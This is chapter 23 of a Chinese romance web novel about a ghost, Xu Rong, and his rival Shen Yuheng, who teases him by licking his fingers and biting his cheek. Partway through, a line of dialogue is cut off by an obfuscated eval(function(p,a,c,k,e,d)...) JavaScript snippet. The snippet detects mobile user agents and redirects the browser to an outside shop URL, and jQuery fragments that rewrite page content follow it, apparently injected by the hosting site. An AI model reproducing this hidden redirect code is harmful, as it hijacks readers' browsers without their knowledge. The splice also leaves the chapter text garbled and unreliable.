23. 第 23 章

作品:《跟死对头接吻就能续命吗

    许茸小脸一白。


    死后变成魂魄的人脸色本来就很白,他现在更是白上加白。


    客厅里的灯光又亮,照得他像是一块清透的上好白玉。


    也因此显得唇瓣饱满鲜红,眼瞳更是黑如玄曜,所有的表情变化都被衬得十分明显。


    沈予珩抬眸看他,牙齿衔着许茸的指节,舌尖轻轻抵上指腹。


    很快,许茸感受到了一阵自指尖而来的轻微痒意,以及滚烫湿热的触感。


    他清晰地感受到沈予珩的舌头在自己的指尖上打了个圈。


    头顶的呆毛直接乍竖了起来,浑身汗毛更是直立。


    许茸用另外一只手去推沈予珩的脑袋。


    这人是狗吧!


    可手腕一下就被沈予珩抓住了。


    “你……你干什么呀!”他声音都被现在的情况震得变了调。


    沈予珩放开了许茸的手指。


    他理所当然地道:“当然是尝试你觉得不凶的程度了。”


    不等许茸说话,他先问:“刚刚那样还凶吗?”


    许茸想都没想,毫不犹豫地道:“凶!”


    凶不凶他都不需要用大脑做判断。


    反正他不要跟沈予珩咬嘴巴!


    沈予珩微微眯了眯眼,并未戳穿某人的小心思。


    “行。”半晌他点了点头。


    许茸刚松了口气。


    手指又被含住了。


    !!!


    这次沈予珩没再用牙,而是温柔地在指尖上吮·吸·舔·磨。


    隐隐约约可以听到的水声像是刻着“羞耻”魔咒的针一样,扎了许茸一身。


    “你,你放开呀……”


    他不自觉地声音都软了,哪还有刚刚那副凶巴巴的模样。


    沈予珩倒是真的放开了。


    “这样还凶吗?”


    许茸不说话了。


    他算是明白过来,不管自己说什么,沈予珩都有得回应。


    他说凶,沈予珩说那就尝试到不凶的。


    他说不凶,沈予珩就说那就来咬嘴巴。


    哪有人这么想救死对头的命的!


    奇怪的是沈予珩倒也没再追问。


    许茸刚有点纳闷,就看见对方再度看来。


    “学会了吗?”沈予珩问。


    许茸:?


    学什么?


    沈予珩:“像你刚刚那样,牙齿会磕到。”


    他指的是许茸咬他手指头的时候。


    许茸不明就里。


    那他就是要咬沈予珩啊,故意的。


    沈予珩望着那双水津津的,一点杂志都没有的清澈眼睛。


    “算了。”他说。


    许茸更糊涂了,“什么算了,怎么就算了?”


    沈予珩:“我只是突然觉得没必要说这个。”


    反正他也舍不得委屈了许茸。


    不过他帮许茸倒是可以。


    沈予珩舌尖抵着尖牙舔了舔,回味着许茸刚刚被他衔着指尖时水汪汪的眼眶里盛满了慌乱的表情。


    许茸一个字都没听懂。


    他只觉得面前的变态又在发神经病。


    抽了张纸擦干净手,又拆了包湿巾将指缝指尖被沈予珩咬过舔过的地方全擦了一遍。


    许茸还是觉得手指痒痒的,手背更是毛毛的。


    于是他飞去厨房洗了个手。


    “有这么嫌弃吗?”


    低沉的嗓音突然出现在耳畔,许茸吓了一跳。


    “你要吓死鬼呀!”


    他蹦跶得像只炸毛的小猫,沈予珩看着笑得更开心了。


    许茸气急败坏。


    他眼睛骨碌碌地转了转,而后意有所指地道:“那我被狗舔了,能不嫌弃吗!”


    沈予珩轻轻一挑眉。


    “你说我是狗?”


    他笑容陡然一收的时刻异常吓人,像是什么面容俊美的笑面恶鬼突然露出了笑脸下的真容,整个人的气场都爆发出锋锐。


    高大的身影倾压过来,许茸眨眨眼睛,本能地开始缩。


    直至后背贴上流理台的边沿,再也无法退后。


    虽然外表看上去叽叽喳喳凶得很。


    但其实许茸心里一清二楚,不管是生前还是死后,他和沈予珩之间的力量差距都太大了。


    修长的双手自身体两侧穿过,比许茸他了两号的手掌,一左一右地撑在了台面上。


    双臂与身体恰好形成了一个三角形的立体空间,将身材清瘦的少年小鬼牢牢锁定住。


    沈予珩微微偏着,去看那张小脸上的神色。


    “说说,我哪里像狗了?”


    沈予珩低头时,薄唇恰好在许茸的耳畔。


    声音很轻,但一字一句的呼吸都喷涂着灼热,一浪接一浪地冲击着耳膜。


    沈予珩突然轻轻笑了一下。


    笑得许茸没来由的心慌。


    而后他听见人说:


    “嗯……这么一想,我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197392|195930||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还真挺像。”


    “咬了你,舔了你,睡觉时让你抱着……哦对。”


    沈予珩轻轻一挑眉。


    “还天天乐此不疲地对你摇尾巴。”


    就为了让许茸多看他一眼。


    “但我还是没有主人啊。”沈予珩说。


    他轻轻欸了一声,一条腿微微屈起,膝弯碰了碰许茸的大腿。


    “你说,有没有人愿意收养我这条无家可归的狗?”


    许茸轻轻眨了眨眼。


    他张了张嘴,组织了一下语言,而后发自真心地问了一句。


    “你真的有尾巴吗?”


    沈予珩表情无语地闭了闭眼。


    下一秒。


    男人倾身,在许茸的腮帮子上咬了一口。


    “哎呀!”许茸吃痛捂着脸蛋。


    表情很生气,眼角更是泪汪汪的。


    而反观沈予珩,小小泄愤了一下后心情还不错。


    甚至面对着许茸充满谴责的视线,还十分得意地舔了舔唇齿。


    尝到了一点从那软乎乎的脸蛋上搜刮下来的,残余的甜味。


    “臭狗!”许茸骂道。


    沈予珩勾起唇角,甚至更爽了,“欸!”


    许茸:。


    “我不理你了!”他哼了一声,转身飘上了楼。


    沈予珩这次没再把人扯回来。


    他一个人站在餐厅里回味了一会儿,走去一旁,从冰箱里拿了个西瓜。


    入了夏,许茸怕热。


    西瓜是让人从西北空运过来的,到了就立刻冻上,现在刚好能吃。


    很快厨房里响起水果刀脆生生切开果皮的声音。


    而二楼的卧室里。


    许茸蜷缩在柔软的被褥里,把自己裹成了一只小粽子。


    视野让被子笼罩成了一片黑暗,而他在黑暗里,却并没有闭上眼睛。


    因为一闭眼就会想到沈予珩刚刚舔他手指的表情。


    还说什么无家可归、收养、摇尾巴……许茸听都听不懂。


    但他却隐隐约约生出来一个念头。


    还有就是度阳气这件事。


    明明他一直在积极地寻找其他的方式,但是沈予珩似乎并不用心。


    虽然可以归结于这是他自己的事而不是沈予珩的事。


    但沈予珩对于咬嘴巴这种方式,似乎比他想象当中的要接受度高多了。


    许茸在想。


    死对头之间……真的会这样吗?